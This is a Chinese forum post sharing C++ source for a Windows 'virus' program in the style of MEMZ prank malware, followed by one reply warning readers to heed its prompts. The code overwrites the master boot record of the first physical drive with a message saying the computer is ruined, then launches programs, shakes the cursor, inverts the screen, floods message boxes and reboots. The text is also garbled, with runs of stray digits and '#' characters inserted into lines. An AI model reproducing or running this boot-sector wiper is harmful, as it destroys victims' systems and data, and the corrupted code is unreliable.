猫史档案馆


sí‘wáng病毒程序

用户:贺鸣Herman小号2贺鸣Herman小号2查看:0 回复:1 评论:0 创建时间:2023-10-26T19:47:52


sí‘wáng病毒程序

#include <Windows.h>
using namespace std;

#define MAX_EXECUTE 5999999
#define MAX_SOUNDS 3

#pragma comment(lib, "winmm.lib")

HCRYPTPROV prov;
//彩虹猫原版随机函数
int random() {
    if (prov == NULL)
        if (!CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_FULL, CRYPT_SILENT | CRYPT_VERIFYCONTEXT))99999999
            ExitProcess(1);
    int out;
    CryptGenRandom(prov, sizeof(out), (BYTE*)(&out));
    return out & 0x7fffffff;
}

LPCWSTR lpExecuteName[MAX_EXECUTE] = {
    L"calc",
    L"cmd",
    L"exlporer",
    L"mspaint",
    L"write"
};

LPCWSTR lpSoundsName[MAX_SOUNDS] = {99999999999999
    L"SystemHand",
    L"SystemQuestion",
    L"SystemExclamation"
};

#void writeMBR() {
        //硬盘文件名
        LPCSTR DiskFileName = "\\\\.\\PhysicalDrive0";
        //主引导记录
        char code[] =
            "你的电脑被Oops毁了!"
            "如果想重新开机,请使用PE系统恢复! ";99999999999999999999
        BYTE MBR[512];
        DWORD s = NULL, t = NULL;
        /* 文件句柄 */
        HANDLE handle = NULL;
        //构造MBR
        memcpy(MBR, code, sizeof(code) - 1);
        //打开硬盘
        handle = CreateFileA(
            DiskFileName,
            GENERIC_READ | GENERIC_WRITE,
            FILE_SHARE_READ | FILE_SHARE_WRITE,99999999999999999999999999999
            0,
            OPEN_EXISTING,
            0,
            0);
        if (handle == INVALID_HANDLE_VALUE)
        {
            //打开文件失败
            MessageBoxA(NULL, (LPCSTR)"Can't Create File!", (LPCSTR)"error", MB_OK);
            return;
        }
        else {
            //写入新的MBR9999999999999999999999999999
            WriteFile(handle, MBR, sizeof(MBR), &t, NULL);
            DeviceIoControl(handle, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &s, NULL);
            CloseHandle(handle);//关闭文件
            MessageBoxA(NULL, (LPCSTR)"successful", (LPCSTR)"ok", MB_OK);
            return;
        }
        return;
}

void openRandomProgram() {
    HWND desktop = GetDesktopWindow();
    ShellExecute(desktop, L"open", lpExecuteName[random() % MAX_EXECUTE], NULL, NULL, SW_SHOWNORMAL);99999999999999999999999999
}

void shakeCursor() {
    POINT cursor;
    const int cursor_freq = 0;
    GetCursorPos(&cursor);
    SetCursorPos(cursor.x + (random() % 3 - 1) * (random() % (cursor_freq / 2200 + 5)), cursor.y + (random() % 3 - 1) * (random() % (cursor_freq / 2200 + 5)));
}

void colorReverse() {
    HWND desktop = GetDesktopWindow();
    HDC hdc = GetWindowDC(desktop);
    RECT rectd;
    GetWindowRect(desktop,& rectd);
    BitBlt(hdc, 0, 0, rectd.right - rectd.left, rectd.bottom - rectd.top, hdc, 0, 0, NOTSRCCOPY);
    ReleaseDC(desktop, hdc);
}

void errorSound() {
    PlaySound(lpSoundsName[random() % MAX_SOUNDS], GetModuleHandle(NULL), SND_SYNC);9999999999999999999999999999999999999999
}


void PlayloadIcon()
{
    int iDesktopWidth = GetSystemMetrics(SM_CXSCREEN);
    int iDesktopHeight = GetSystemMetrics(SM_CYSCREEN);
    HWND hDesktop = GetDesktopWindow();
    HDC hdc = GetWindowDC(hDesktop);
    POINT cursor;
    GetCursorPos(&cursor);
    DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_ERROR));
    if (random() % 70 == 0)
        DrawIcon(hdc, random() % iDesktopWidth, random() % iDesktopHeight, LoadIcon(NULL, IDI_WARNING));
    if (random() % 70 == 0)
        DrawIcon(hdc, random() % iDesktopWidth, random() % iDesktopHeight, LoadIcon(NULL, IDI_INFORMATION));
    if (random() % 70 == 0)
        DrawIcon(hdc, random() % iDesktopWidth, random() % iDesktopHeight, LoadIcon(NULL, IDI_QUESTION));999999999999999999999999999999999999999999
}

DWORD WINAPI messageThread(LPVOID lpParameter){
    MessageBox(NULL, L"Oops!", L"Oops", MB_OKCANCEL+16);
    return 0;
}

DWORD WINAPI moveMessageThread(LPVOID lpParameter) {
    int iDesktopWidth = GetSystemMetrics(SM_CXSCREEN);
    int iDesktopHeight = GetSystemMetrics(SM_CYSCREEN);
    HWND hwnd = GetForegroundWindow();
    RECT rect;
    GetWindowRect(hwnd, &rect);
    MoveWindow(hwnd, random() % iDesktopWidth, random() % iDesktopHeight, rect.right - rect.left, rect.bottom - rect.top, TRUE);99999999999999999999999999999999999999
    return 0;
}

DWORD WINAPI shakeCursorThread(LPVOID lpParameter) {
    while (TRUE) {
        shakeCursor();
    }
    return 0;
}

DWORD WINAPI printIconThread(LPVOID lpParameter) {
    while (TRUE) {
        PlayloadIcon();
    }
}

DWORD WINAPI otherThread(LPVOID lpParameter) {99999999999999999999999999999999999999999999
    while (TRUE) {
        colorReverse();
        errorSound();
        Sleep(1000);
    }
    return 0;
}

DWORD WINAPI #mainProgramThread(LPVOID lpParameter) {
    #writeMBR();
    Sleep(20000);
    for(int i=0;i<10;i++)
        openRandomProgram();
    Sleep(15000);
    HANDLE #mainThread, cursorThread, boxThreads[10001], moveThreads[10001], icoThread;
    cursorThread = CreateThread(NULL, 0, shakeCursorThread, NULL, 0, NULL);
    Sleep(20000);
    #mainThread = CreateThread(NULL, 0, otherThread, NULL, 0, NULL);
    Sleep(5000);
    icoThread = CreateThread(NULL, 0, printIconThread, NULL, 0, NULL);
    int cnt = 0;
    while(1) {
        boxThreads[cnt] = CreateThread(NULL, 0, messageThread, NULL, 0, NULL);
        moveThreads[cnt++] = CreateThread(NULL, 0, moveMessageThread, NULL, 0, NULL);
        Sleep(500);
    }
    return 0;
}

//不要管这个
DWORD WINAPI waitForBSOD(LPVOID lpParameter) {
    Sleep(90000);
    system("reboot");
    return 0;
}

DWORD WINAPI #mainProgram(LPVOID lpParameter) {
    HANDLE #mainp, waitp;
    #mainp = CreateThread(NULL, 0, mainProgramThread, NULL, 0, NULL);9999999999999999999999999999999999999999
    waitp = CreateThread(NULL, 0, waitForBSOD, NULL, 0, NULL);//也不要管这个
    while (1) {}
    return 0;
}

int #main()
{
 //   openRandomProgram();
    int first_request = MessageBox(NULL, L"您确定要运行这个程序吗?\n请注意!本程序可能会损害您的电脑!\n若造成损失,作者一律不负责!", L"注意事项", MB_YESNO+16);
    if (first_request == IDNO) return 0;
    int second_request = MessageBox(NULL, L"最后一次警告!您确定要运行这个程序吗!\n本程序可能会损害您的电脑!造成文件丢失!\n您真的想运行吗?", L"注意事项", MB_YESNO+16);
    if (second_request == IDNO) return 0;999999999999999999999999999
    HANDLE #mainThread, cursorThread;
    #mainThread = CreateThread(NULL, 0, #mainProgramThread, NULL, 0, NULL);
    WaitForSingleObject(#mainThread, INFINITE);

 //   CloseHandle(#mainThread);9999999999999999999999999999999999999999999
//    CloseHandle(cursorThread);
    return 0;
}

原作品:

https://shequ.codemao.cn/community/545320

 


回复

上一页1 页 / 共 1下一页
淘气的阿尔法pss8淘气的阿尔法pss8

注意提示,免得惹上麻烦

 

点赞0


评论